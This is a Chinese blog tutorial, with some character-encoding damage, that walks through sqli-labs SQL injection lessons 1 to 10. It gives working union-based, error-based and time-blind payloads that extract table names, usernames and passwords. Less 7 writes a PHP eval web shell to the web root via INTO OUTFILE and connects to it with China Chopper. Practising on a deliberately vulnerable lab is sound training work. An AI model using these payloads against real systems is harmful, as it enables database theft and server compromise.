注入双括号报错注入_SQL手动注入:sqlilabs(less110)
種一棵樹最好的時(shí)間是10年前,其次是現(xiàn)在。
忘了是誰前言
說實(shí)話,由于前段時(shí)間學(xué) python?,對(duì)于 OWASP TOP10?漏洞的學(xué)習(xí)都有所落下,雖然現(xiàn)在也在慢慢復(fù)習(xí)當(dāng)中,但是今晚談及的 SQL 注入漏洞手動(dòng)注入和自動(dòng)化(sqlmap)注入的一些知識(shí)時(shí),不免有些語塞,有些命令都已經(jīng)開始淡忘,想想得補(bǔ)一補(bǔ),于是就打算拿 sqli-labs?這個(gè)SQL 注入專屬練習(xí)靶場來重溫一下,順便把之前寫得博文搬到公眾號(hào)上來。
豬(鄙夷的目光):文字的搬運(yùn)工。。。
匠(撓撓頭):后續(xù)對(duì)于這個(gè)靶場的自動(dòng)化(sqlmap)注入姿勢也總結(jié)一下吧,順便復(fù)習(xí)一下 sqlmap 。
環(huán)境準(zhǔn)備
phpstydy?
firefox?瀏覽器
HackBar?插件
sqli-labs?源碼
sublime??
中國菜刀
hackbar 插件新版的要錢,可以去下載舊版的,或者有其他替代品,功能也差不多
less1
源碼分析采用?get?方法接收用戶輸入
單引號(hào)閉合參數(shù)
參數(shù)拼接?sql?語句進(jìn)行數(shù)據(jù)庫查詢
01
查看數(shù)據(jù)表列數(shù)?
猜測列數(shù)為 3 ,回顯正常
index.php?id=1'?order?by?3?--+猜測列數(shù)為 4 ,出現(xiàn)錯(cuò)誤,說明當(dāng)前數(shù)據(jù)表列數(shù)為 3 。
02
union查詢
注:MySQL5.0?之后有一個(gè)?information_schema 數(shù)據(jù)庫
查看回顯位,可以得知數(shù)字 2 和 3 可以回顯。
index.php?id=0'?union?select?1,2,3?--+利用回顯位查看數(shù)據(jù)庫相關(guān)信息
index.php?id=0'?union?select?1,version(),database()?--+爆出 security 的所有表
index.php?id=0'?union?select?1,(select?group_concat(table_name)?from?information_schema.tables?where?table_schema='security'),database()?--+查看 users 表下的所有列
index.php?id=0'?union?select?1,(select?group_concat(column_name)?from?information_schema.columns?where?table_schema='security'?and?table_name='users'),database()?--+查看 users 表下的所有數(shù)據(jù)
index.php?id=0'?union?select?1,(select?group_concat(username,'-')?from?security.users),(select?group_concat(password)?from?security.users)?--+less2
源碼分析?直接獲取用戶輸入
sql?語句拼接
和 Less1 相比就是在進(jìn)行 sql 語句拼接的時(shí)候沒有對(duì)參數(shù)進(jìn)行單引號(hào)引用。思路和 Less1 一樣,就是不用閉合單引號(hào)和注釋后面無關(guān)內(nèi)容而已。
01
union注入
index.php?id=0?union?select?1,2,3less3
源碼分析?直接說去用戶輸入
拼接?sql?語句時(shí)將參數(shù)用單引號(hào)+括號(hào)進(jìn)行引用
對(duì)單引號(hào)和括號(hào)進(jìn)行閉合即可,同時(shí)使用注釋符將無用部分注釋掉,注入思路和 Less1 一樣。
01
union注入
index.php?id=0')?union?select?1,2,3?--+less4
源碼分析?直接獲取用戶輸入
對(duì)參數(shù)進(jìn)行雙引號(hào)+括號(hào)引用
對(duì)雙引號(hào)和括號(hào)進(jìn)行閉合,注入思路和 Less 1 一樣。
less5
源碼分析?直接獲取用戶輸入
對(duì)參數(shù)進(jìn)行單引號(hào)引用
沒有數(shù)據(jù)回顯
有錯(cuò)誤信息回顯
01
報(bào)錯(cuò)注入
報(bào)錯(cuò)注入會(huì)涉及三個(gè)函數(shù) floor、updatexml、extractvalue。
MySQL_v5.0.96 還有 floor?報(bào)錯(cuò)注入,高版本的沒有。
MySQL 5.1.5 版本種添加了對(duì)?XML?文檔進(jìn)行查詢和修改的兩個(gè)函數(shù):extractvalue 和?updatexml 。
三個(gè)函數(shù)的運(yùn)用格式如下:
floor
select?1?from?(select count(*), concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)aupdatexml
updatexml(1,concat(0x7e,(database()),0x7e),1)extractvalue
extractvalue(1,concat(0x7e,(database()),0x7e))這里主要拿 floor?函數(shù)來做演示??梢圆鸱譃閹撞糠址奖阌洃?。
select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj?=?payload,floor(rand(0)*2)顯示當(dāng)前數(shù)據(jù)庫
index.php?id=0'?and?(select?1?from(select?count(*),concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+顯示當(dāng)前數(shù)據(jù)庫下所有表,這里使用 group_concat() 顯示所有表,出現(xiàn)錯(cuò)誤 “信息超過一行” 。
index.php?id=1'?and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+使用 limit 一個(gè)一個(gè)顯示出來。
ps: 這里的 limit 0,1 代表第一個(gè)數(shù)據(jù);limit 1,1 代表第二個(gè)數(shù)據(jù)
index.php?id=1'and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+less6
源碼分析直接獲取用戶輸入
雙引號(hào)應(yīng)用參數(shù)
沒有數(shù)據(jù)信息回顯
有錯(cuò)誤信息回顯
相比于 Less 5,這里的參數(shù)用雙引號(hào)引用,注意雙引號(hào)閉合,注釋符的使用即可,解題思路和 Less 5 一樣。
less7
源碼分析直接獲取用戶參數(shù)
用雙括號(hào)+雙引號(hào)引用參數(shù)
沒有數(shù)據(jù)信息回顯
mysql_error()函數(shù)被注釋
頁面提示我們 outfile 命令寫入木馬文件
這種方法的關(guān)鍵之處在于知道網(wǎng)站在系統(tǒng)的絕對(duì)路徑和能夠找到寫入文件的路徑,之后用菜刀進(jìn)行連接。
注:反斜杠 \?是轉(zhuǎn)義字符,這里使用雙反斜杠 \\?表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也開始使用 r 將引號(hào)里面的內(nèi)容定義為字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"
index.php?id=-1'))?union?select?1,"<?php ?@eval($_POST['pass']);?>",3?into?outfile?"C:\\phpStudy2013\\WWW\\script.php"?--+之后訪問上傳的一句話文件。
使用菜刀連接
less8
源碼分析直接獲取用戶參數(shù)
單引號(hào)引用參數(shù)
沒有數(shù)據(jù)信息回顯
也沒有錯(cuò)誤信息回顯
01
時(shí)間盲注
沒有錯(cuò)誤信息回顯,那報(bào)錯(cuò)注入的方法就行不通,可以試一試時(shí)間盲注。
判斷時(shí)間盲注的方法先是id=1' or sleep(1) # ,如果延時(shí)則存在延時(shí)注入
時(shí)間盲注的格式如下:
if((判斷條件),(條件為 true 時(shí)執(zhí)行),(條件為 false 執(zhí)行))
if(ascii(substring(database()),1,1)=115,sleep(1),1)猜測當(dāng)前數(shù)據(jù)庫,若當(dāng)前數(shù)據(jù)庫的第一個(gè)字母的 ASCII碼大于0,則延時(shí)5秒。
index.php?id=1'?and?if(ascii(substring(database(),1,1))>0,sleep(5),1)?--+猜測得出第一個(gè)字母位's',ascii(s) = 115
index.php?id=1'?and?if(ascii(substring(database(),1,1))=115,sleep(5),1)?--+以此類推去猜,費(fèi)勁,一般報(bào)錯(cuò)注入/時(shí)間盲注這些比較費(fèi)時(shí)的操作都交給 sqlmap 去自動(dòng)化注入比較省事。
less9
源碼分析直接獲取用戶輸入
單引號(hào)引用,參數(shù)拼接
沒有數(shù)據(jù)回顯
沒有錯(cuò)誤信息回顯
時(shí)間盲注,注意單引號(hào)閉合,思路和 Less 8 一樣。
less10
源碼分析直接獲取用戶參數(shù)
雙引號(hào)引用參數(shù)進(jìn)行?sql?語句拼接
沒有數(shù)據(jù)回顯
沒有錯(cuò)誤信息回顯
時(shí)間盲注,注意雙引號(hào)的閉合,注入思路和 Less 8 一樣。
尾聲
我是匠心,一個(gè)在清流旁默默磨劍的匠人,希望有一天能利刃出鞘,仗劍走江湖。
好文!必須在看留言區(qū)
總結(jié)
以上是生活随笔為你收集整理的注入双括号报错注入_SQL手动注入:sqlilabs(less110)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 高压断路器故障诊断的相关方法
- 下一篇: 名字打架挺好玩~~用你的名字和别人的名字